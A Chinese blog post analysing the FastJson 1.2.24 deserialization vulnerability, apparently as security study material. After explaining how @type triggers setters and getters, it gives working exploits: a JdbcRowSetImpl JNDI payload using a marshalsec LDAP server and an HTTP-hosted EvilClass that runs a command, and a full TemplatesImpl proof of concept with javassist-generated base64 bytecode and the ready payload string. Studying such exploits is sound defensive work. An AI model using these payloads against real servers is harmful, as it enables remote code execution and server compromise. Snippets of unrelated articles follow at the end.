当前位置: 首页 > news >正文

【java安全】FastJson反序列化漏洞浅析

文章目录

    • 【java安全】FastJson反序列化漏洞浅析
      • 0x00.前言
      • 0x01.FastJson概述
      • 0x02.FastJson使用
        • 序列化与反序列化
      • 0x03.反序列化漏洞
      • 0x04.漏洞触发条件
      • 0x05.漏洞攻击方式
        • JdbcRowSetImpl利用链
        • TemplatesImpl利用链
          • **漏洞版本**
          • POC
          • 漏洞分析

【java安全】FastJson反序列化漏洞浅析

0x00.前言

前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了

0x01.FastJson概述

FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean

0x02.FastJson使用

首先我们需要使用maven导入一个fastjson的jar包,这里选择1.2.24版本

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

序列化与反序列化

首先创建一个标准的javabean:User类

package com.leekos.serial;public class User {private String name;private int age;public User() {System.out.println("无参构造");}public User(String name, int age) {System.out.println("有参构造");this.name = name;this.age = age;}public String getName() {System.out.println("调用了get方法");return name;}public void setName(String name) {System.out.println("调用了set方法");this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +'}';}
}

测试一下fastjson中的方法:

  • JSON.toJSONString(obj) 将javabean转化为json字符串
  • JSON.parse(s) 将json字符串反序列化
  • JSON.parseObject(s) 将json字符串反序列化
  • JSON.parseObject(s,Object.class) 将json字符串反序列化
public class JsonTest {public static void main(String[] args) {User user = new User("leekos",20);// 序列化String serializeStr = JSON.toJSONString(user);System.out.println("serializeStr=" + serializeStr);System.out.println("------------------------------------------------------------------");//通过parse方法进行反序列化,返回的是一个JSONObjectObject obj1 = JSON.parse(serializeStr);System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());System.out.println("parse反序列化:" + obj1);System.out.println("------------------------------------------------------------------");//通过parseObject,不指定类,返回的是一个JSONObjectJSONObject obj2 = JSON.parseObject(serializeStr);System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());System.out.println("parseObject反序列化:" + obj2);System.out.println("------------------------------------------------------------------");//通过parseObject,指定类后返回的是一个相应的类对象User obj3 = JSON.parseObject(serializeStr, User.class);System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());System.out.println("parseObject反序列化:" + obj3);}
}

输出:

有参构造
调用了get方法
serializeStr={"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}

通过观察,我们可以知道:(不使用SerializerFeature.WriteClassName参数)

  • 使用JSON.toJSONString(obj)将javabean序列化的时候会调用get()方法
  • 使用JSON.parse(s)会将json串反序列化为JSONObject对象,并没有真正反序列化,没有调用任何方法
  • 使用JSON.parseObject(s)会将json串反序列化为JSONObject对象,并没有真正反序列化,没有调用任何方法
  • 当我们指定了JSON.parseObject(s,User.class)函数的第二个参数为指定类的字节码时,我们可以正确反序列化,并且会调用set()方法

通过以上的分析,我们可能会想json串中没有与类有关的标识,我们怎么才知道这个json串反序列化对应的对象是什么类型呢?

这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)的第二个参数了,如果该参数为SerializerFeature.WriteClassName那么在序列化javabean时就会在json串中写下类的名字,保存在@type关键字中

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。

我们将上面的代码更改一下:

String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);

输出:

有参构造
调用了get方法
serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}

经过分析,我们可以知道:

  • 当反序列成功时,parse()parseObject()都会调用set()方法
  • JSON.parseObject()只有在第二个参数指定类,才会反序列化成功
  • 在字符串中使用"@type":"com.leekos.serial.User"指定类,当使用JSON.parseObject()且不指定第二个参数时,会调用set()get()方法,但会转化为JSONObject对象
  • 使用JSON.parse()方法,无法使用参数指定反序列化的类,它通过识别json串中的@type来反序列化为指定类

0x03.反序列化漏洞

其实上面就有一个很敏感的问题,如果@type为恶意类的话,就可以通过触发set()get()方法来做一些恶意操作了

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

我们先编写一个恶意类:

package com.leekos.rce;import java.io.IOException;public class ExecObj {private String name;public ExecObj() {}public ExecObj(String name) {this.name = name;}public String getName() {return name;}public void setName(String name) throws IOException {Runtime.getRuntime().exec("calc");this.name = name;}@Overridepublic String toString() {return "ExecObj{" +"name='" + name + '\'' +'}';}
}

添加SerializerFeature.WriteClassName后然后使用JSON.parseObject()反序列化:

public class Test {public static void main(String[] args) {String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";Object o = JSON.parseObject(s);}
}

成功调用set()方法:

image-20230821142758785


0x04.漏洞触发条件

不过在FastJson中还需要满足某些条件:

getter自动调用还需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点:

  1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
  3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

0x05.漏洞攻击方式

在Fastjson这个反序列化漏洞中是使用TemplatesImplJdbcRowSetImpl构造恶意代码实现命令执行,TemplatesImpl这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

这里介绍两种方式:

  • TemplatesImpl
  • JdbcRowSetImpl

JdbcRowSetImpl利用链

JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

这里JNDI注入利用的是JdbcRowSetImpl ,由于需要使用JNDI,所以我们全局查找一下lookup()

image-20230821173352644

发现lookup()会在connect()函数中被调用,并且传入参数this.getDataSourceName()

public void setDataSourceName(String var1) throws SQLException {if (this.getDataSourceName() != null) {if (!this.getDataSourceName().equals(var1)) {String var2 = this.getDataSourceName();super.setDataSourceName(var1);this.conn = null;this.ps = null;this.rs = null;this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);}} else {super.setDataSourceName(var1);  //赋值this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);}}

setDataSourceName()函数会对dataSourceName赋值,并且这个函数是setxxx()形式。即dataSourceName可控

然后我们需要寻找哪里能调用connect()函数,并且这个函数是setxxx()形式:

public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {this.conn = this.connect();this.conn.setAutoCommit(var1);}
}

找到了一个setAutoCommit(),这就能简单构造一个json串了

{"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit""dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true // 之后再调用setAutoCommit函数,传入true
}

Demo

public class Demo {public static void main(String[] args) {String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";JSON.parse(exp);}
}

首先我们先使用插件:marshalsec起一个ldap服务:

(这里url指向本地的8090端口的EvilClass.class文件)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass

然后python起一个http服务(8090端口),目录中有一个EvilClass.class文件:

python3 -m http.server 8090

EvilClass.java源码

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;public class EvilClass implements ObjectFactory {static {System.out.println("hello,static~");}public EvilClass() throws IOException {System.out.println("constructor~");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");return null;}
}

这里使用javac(jdk7u21)编译一下

运行:

image-20230821174611972

TemplatesImpl利用链

漏洞版本

fastjson 1.22-1.24

POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;public class Test {//最终执行payload的类的原始模型//ps.要payload在static模块中执行的话,原始模型需要用static方式。public static class lala{}//返回一个在实例化过程中执行任意代码的恶意类的byte码//如果对于这部分生成原理不清楚,参考以前的文章public static byte[] getevilbyte() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(lala.class.getName());//要执行的最终命令String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";//之前说的静态初始化块和构造方法均可,这边用静态方法cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);//设置不重复的类名String randomClassName = "LaLa"+System.nanoTime();cc.setName(randomClassName);//设置满足条件的父类cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//获取字节码return cc.toBytecode();}//生成payload,触发payloadpublic static void  poc() throws Exception {//生成攻击payloadbyte[] evilCode = getevilbyte();//生成恶意类的字节码String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'a.b',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响System.out.println(text1);//服务端触发payloadParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);//Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);}//main函数调用以下pocpublic static void main(String[] args){try {poc();} catch (Exception e) {e.printStackTrace();}}
}

我们执行一下,弹出计算器:

image-20230821153456387

json串:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
漏洞分析

使用TemplatesImpl链的形式触发FastJson反序列化漏洞利用条件比较苛刻

  • 服务端使用JSON.parse()时,需要JSON.parse(s,Feature.SupportNonPublicField);
  • 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);JSON.parseObject(input, Feature.SupportNonPublicField);

因为payload需要赋值的一些属性为private属性,服务端必须添加特性才会去json中恢复private属性的数据

其实根据上面的poc,我们会有几个疑问:

  • 如果支队_bytecodes插入恶意代码,为什么需要构造这么多值
  • _bytecodes中的值为什么要base64加密
  • 发序列化为什么要加入Feature.SupportNonPublicField参数值
  1. @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
  2. _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码
  3. _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。
  4. _tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。
  5. outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行

前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。

相关文章:

【java安全】FastJson反序列化漏洞浅析

文章目录 【java安全】FastJson反序列化漏洞浅析0x00.前言0x01.FastJson概述0x02.FastJson使用序列化与反序列化 0x03.反序列化漏洞0x04.漏洞触发条件0x05.漏洞攻击方式JdbcRowSetImpl利用链TemplatesImpl利用链**漏洞版本**POC漏洞分析 【java安全】FastJson反序列化漏洞浅析 …...

pytestx重新定义接口框架设计

概览 脚手架&#xff1a; 目录&#xff1a; 用例代码&#xff1a; """ 测试登录到下单流程&#xff0c;需要先启动后端服务 """test_data {"查询SKU": {"skuName": "电子书"},"添加购物车": {"sk…...

【文生图系列】Stable Diffusion原理篇

文章目录 Stable Diffusion的组成什么是扩散扩散是如何工作的去噪声绘制图像将文本信息添加到图像生成器中参考 “文生图”&#xff0c;或者AI绘画&#xff0c;最近异常火爆&#xff0c;输入一些描述性的语句&#xff0c;AI就能够生成相应的画作。甚至引发了一个问题&#xff1…...

ARM-汇编指令

一&#xff0c;map.lds文件 链接脚本文件 作用&#xff1a;给编译器进行使用&#xff0c;告诉编译器各个段&#xff0c;如何进行分布 /*输出格式&#xff1a;32位可执行程序&#xff0c;小端对齐*/ OUTPUT_FORMAT("elf32-littlearm", "elf32-littlearm",…...

Java相关知识对应leetcode

力扣账号&#xff1a;华为邮箱 类知识点力扣链接Integer转为String Character 判断字符是否是字母或者数字转为小写字母 不可修改 String 转为字符串数组 是否包含某个字符或者字符位置 可修改 StringBuffer 单个字符获取 string转为StringBufferStringBuffer转为String字符…...

js中?.、??、??=的用法及使用场景

上面这个错误&#xff0c;相信前端开发工程师应该经常遇到吧&#xff0c;要么是自己考虑不全造成的&#xff0c;要么是后端开发人员丢失数据或者传输错误数据类型造成的。因此对数据访问时的非空判断就变成了一件很繁琐且重要的事情&#xff0c;下面就介绍ES6一些新的语法来方便…...

每日一题:leetcode 1109 航班预订统计

这里有 n 个航班&#xff0c;它们分别从 1 到 n 进行编号。 有一份航班预订表 bookings &#xff0c;表中第 i 条预订记录 bookings[i] [firsti, lasti, seatsi] 意味着在从 firsti 到 lasti &#xff08;包含 firsti 和 lasti &#xff09;的 每个航班 上预订了 seatsi 个座…...

C#__自定义类传输数据和前台线程和后台线程

// 前台线程和后台线程 // 默认情况下&#xff0c;用Thread类创建的线程是前台线程。线程池中的线程总是后台线程。 // 用Thread类创建线程的时候&#xff0c;可以设置IsBackground属性&#xff0c;表示一个后台线程。 // 前台线程在主函数运行结束后依旧执行&#xff0c;后台线…...

司徒理财:8.21黄金空头呈阶梯下移!今日操作策略

黄金走势分析 盘面裸k分析&#xff1a;1小时周期的行情局部于1896附近即下行通道上轨附近录得一系列的K线呈震荡下行并筑圆顶&#xff0c;上轨压制有效&#xff0c;下行通道并未突破&#xff0c;后市建议延续看下行。4小时周期局部录得一系列的纺锤线呈震荡&#xff0c;但行情整…...

Java8 实现批量插入和更新,SpringBoot实现批量插入和更新,Mybatis实现批量插入和更新

前言 基于mybatis实现的批量插入和更新 由于直接执行批量所有数据可能会出现长度超出报错问题&#xff0c;使用如下方式即可解决 实现 原理还是分配执行&#xff0c;这里的100就是设定每次执行最大数 /*** 封装使用批量添加或修改数据库操作* * param list 集合* param inse…...

vue登录验证码组件,前端验证

效果图 点击可以切换验证码 自定义组件 <template><div class"s-canvas"><canvas id"s-canvas" :width"contentWidth" :height"contentHeight"></canvas></div> </template> <script> e…...

SLS日志解析配置

分隔符模式 INFO|2023-04-10T11:05:30.12808:00|X.X.X.X|ACCESS_ALLOWED|1 模式&#xff1a;分隔符模式 日志样例&#xff1a;贴文档说明中的样例&#xff0c;或者直接在SLS历史日志里找一行 分隔符&#xff1a;竖线 日志抽取内容Key用文档中说明的变量名 是否接受部分字段&am…...

CRM系统有哪些功能可以管理客户?

客户管理&#xff0c;可以简单理解为企业收集并利用客户信息&#xff0c;建立与客户的良好关系&#xff0c;满足客户的需求&#xff0c;从而提升客户价值的过程。CRM一直被誉为客户管理的“神器”&#xff0c;下面我们就来说说&#xff0c;什么是客户管理&#xff1f;CRM如何管…...

15.树与二叉树基础

目录 一. 树&#xff0c;基本术语 二. 二叉树 &#xff08;1&#xff09;二叉树 &#xff08;2&#xff09;满二叉树 &#xff08;3&#xff09;完全二叉树 三. 二叉树的性质 四. 二叉树的存储结构 &#xff08;1&#xff09;顺序存储结构 &#xff08;2&#xff09;链…...

neo4j 图数据库 springboot

一.安装 neo4j社区版在liunx安装部署 https://blog.csdn.net/u013946356/article/details/81736232 二.知识图数据导入 参考:https://notemi.cn/neo4j-import-csv-file-data.html http://openkg.cn/dataset/ch4masterpieces 放在对应的import文件夹下面 导入数据 LOAD C…...

Linux下的系统编程——makefile入门(四)

前言&#xff1a; 或许很多Winodws的程序员都不知道这个东西&#xff0c;因为那些Windows的IDE都为你做了这个工作&#xff0c;但我觉得要作一个好的和professional的程序员&#xff0c;makefile还是要懂。这就好像现在有这么多的HTML的编辑器&#xff0c;但如果你想成为一个专…...

Mybatis的综合案例-学生信息查询系统 用于校验是否真正学习掌握了动态SQL

Mybatis的综合案例-学生信息查询系统 需求一&#xff1a;当用户输入的学生姓名不为空&#xff0c;则只根据学生信息进行查询; 当用户输入的学生姓名为空&#xff0c;且专业不为空&#xff0c;那么就根据学生专业进行学生的查询 需求二&#xff1a;查询所有id值小于5的学生信息…...

力扣:70. 爬楼梯(Python3)

题目&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&#xff1a;力扣&#xff08;LeetCode&#xff09;官网 - 全球极客…...

陕西广电 HG6341C FiberHome烽火 光猫获取超级密码 改桥接模式 提升网速

光猫默认的路由模式实测在100M宽带下只能跑到60M左右&#xff0c;只有改成桥接模式才能跑满&#xff0c;不损失性能。但是改桥接需要给运营商打电话&#xff0c;有的时候不想麻烦他们&#xff0c;这时获取超级密码进行更改就是一个不错的选择了 分析 之前写了一篇HGU B2 光猫的…...

无涯教程-PHP - 移除的扩展

以下扩展已从PHP 7开始删除- eregmssqlmysqlsybase_ct 以下SAPI已从PHP 7开始删除- aolserverapacheapache_hooksapache2filtercaudiumcontinuityisapimilternsapiphttpdpi3webroxenthttpdtuxwebjames PHP - 移除的扩展 - 无涯教程网无涯教程网提供以下扩展已从PHP 7开始删除…...

从云端到指尖:巧用Aspose组件实现Office/PDF文档秒级HTML预览,攻克移动端大文件访问瓶颈

1. 移动端大文件预览的痛点与解决思路 最近接手一个企业级项目时&#xff0c;遇到了一个非常典型的场景&#xff1a;用户通过PC端上传各种办公文档&#xff08;Word、Excel、PPT、PDF&#xff09;&#xff0c;需要在移动端随时查看。但当文件体积较大时&#xff08;比如超过50M…...

ReplaceItems.jsx:基于智能匹配引擎的Illustrator对象替换解决方案

ReplaceItems.jsx&#xff1a;基于智能匹配引擎的Illustrator对象替换解决方案 【免费下载链接】illustrator-scripts Adobe Illustrator scripts 项目地址: https://gitcode.com/gh_mirrors/il/illustrator-scripts 副标题&#xff1a;面向专业设计师的批量元素管理工具…...

忍者绘卷Z-Image Turbo新手避坑:3个技巧搞定负向提示词

忍者绘卷Z-Image Turbo新手避坑&#xff1a;3个技巧搞定负向提示词 1. 负向提示词在忍者绘卷中的特殊价值 在忍者绘卷Z-Image Turbo这个专为二次元/火影忍者风格优化的AI绘画工具中&#xff0c;负向提示词扮演着"封印术"般的角色。它不仅仅是简单的排除列表&#x…...

数字孪生通信层开发:C#实现OPC UA到Unity3D的实时数据映射(2026年工业级实战指南)

引言&#xff1a;通信层不是“锦上添花”&#xff0c;而是“数字孪生的血脉” 在2026年的工业数字孪生战场上&#xff0c;OPC UA到Unity3D的数据映射延迟是决定孪生体“活”与“死”的关键。IDC 2026年工业物联网报告显示&#xff1a;76%的数字孪生项目因通信层延迟>100ms失…...

teler IDS v3前瞻:eBPF技术与teler-waf集成带来的革命性变革

teler IDS v3前瞻&#xff1a;eBPF技术与teler-waf集成带来的革命性变革 【免费下载链接】teler Real-time HTTP Intrusion Detection 项目地址: https://gitcode.com/gh_mirrors/te/teler teler IDS作为一款实时HTTP入侵检测系统&#xff0c;在网络安全领域已经建立了坚…...

Vision Master OpenCV 2.0 深度评测:新增YOLOv5、语义分割等ONNX模型,实战性能提升有多大?

Vision Master OpenCV 2.0 深度评测&#xff1a;ONNX模型实战性能全解析 当计算机视觉开发工具开始拥抱ONNX生态&#xff0c;技术选型的边界正在被重新定义。Vision Master OpenCV 2.0的发布恰逢其时&#xff0c;它不仅将YOLOv5、语义分割等前沿模型集成到可视化流程中&#xf…...

QRCoder:开发者必备的二维码生成解决方案全攻略

QRCoder&#xff1a;开发者必备的二维码生成解决方案全攻略 【免费下载链接】QRCoder A pure C# Open Source QR Code implementation 项目地址: https://gitcode.com/gh_mirrors/qr/QRCoder 在数字化时代&#xff0c;二维码已成为信息传递的重要桥梁&#xff0c;但如何…...

@rc-component/slider拖拽轨道功能解析:提升用户体验的5个技巧

rc-component/slider拖拽轨道功能解析&#xff1a;提升用户体验的5个技巧 【免费下载链接】slider React Slider 项目地址: https://gitcode.com/gh_mirrors/sl/slider rc-component/slider是一款功能强大的React滑块组件&#xff0c;其拖拽轨道功能为用户提供了直观便捷…...

Mergo入门指南:10分钟学会Go结构体与映射合并技巧

Mergo入门指南&#xff1a;10分钟学会Go结构体与映射合并技巧 【免费下载链接】mergo Mergo: merging Go structs and maps since 2013 项目地址: https://gitcode.com/gh_mirrors/me/mergo Mergo是一个强大的Go语言库&#xff0c;专门用于合并结构体&#xff08;struct…...

stm32cubeide+freertos+c/c++混合编程实战避坑指南

1. STM32CubeIDE与FreeRTOS环境搭建避坑指南 第一次用STM32CubeIDE配置FreeRTOS时&#xff0c;我对着时钟源选项纠结了半小时。后来发现这个选择直接影响系统稳定性——选错时钟源会导致任务调度像喝醉了一样飘忽不定。实测推荐用TIM6替代默认的SysTick作为时基&#xff0c;原因…...